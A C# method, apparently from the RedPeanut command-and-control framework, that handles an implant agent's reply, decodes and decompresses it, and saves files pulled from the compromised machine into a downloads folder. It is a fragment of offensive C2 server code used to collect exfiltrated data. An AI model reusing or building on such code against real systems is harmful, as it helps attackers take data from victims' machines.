Пример #1
0
        private ActionResult PostResponse(StreamReader reader, IAgentInstance agent)
        {
            ResponseMsg responsemsg = null;

            try
            {
                Dictionary <string, string> args = GetParsedArgs(reader.ReadToEnd());
                responsemsg = GetResponseMsg(args.GetValueOrDefault(Paramname), agent);

                TaskMsg msg = RedPeanutC2.server.GetTaskResponse(responsemsg.TaskInstanceid);

                Console.WriteLine("\n[*] Received response from agent {0}....", agent.AgentId);
                if (msg.TaskType.Equals("download"))
                {
                    byte[] bytefile   = Utility.DecompressDLL(Convert.FromBase64String(responsemsg.Data));
                    string destfolder = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, DOWNLOADS_FOLDER, "downloaded_item_" + msg.DownloadTask.FileNameDest);
                    System.IO.File.WriteAllBytes(destfolder, bytefile);
                    Console.WriteLine("[*] File {0} downloaded", destfolder);
                    Program.GetMenuStack().Peek().RePrintCLI();
                    return(Ok(CreateOkMgs(agent)));
                }
                else
                {
                    Console.WriteLine(responsemsg.Data);
                    Program.GetMenuStack().Peek().RePrintCLI();
                    return(Ok(CreateOkMgs(agent)));
                }
            }
            catch (Exception e)
            {
                // Something goes wrong decrypting or deserializing message return not found
                Console.WriteLine("[x] Something goes wrong decrypting or deserializing message return {0}", e.Message);
                Console.WriteLine("[x] {0}", e.StackTrace);
                Program.GetMenuStack().Peek().RePrintCLI();
                httpContextAccessor.HttpContext.Response.Headers.Add("Connection", "Close");
                return(NotFound());
            }
        }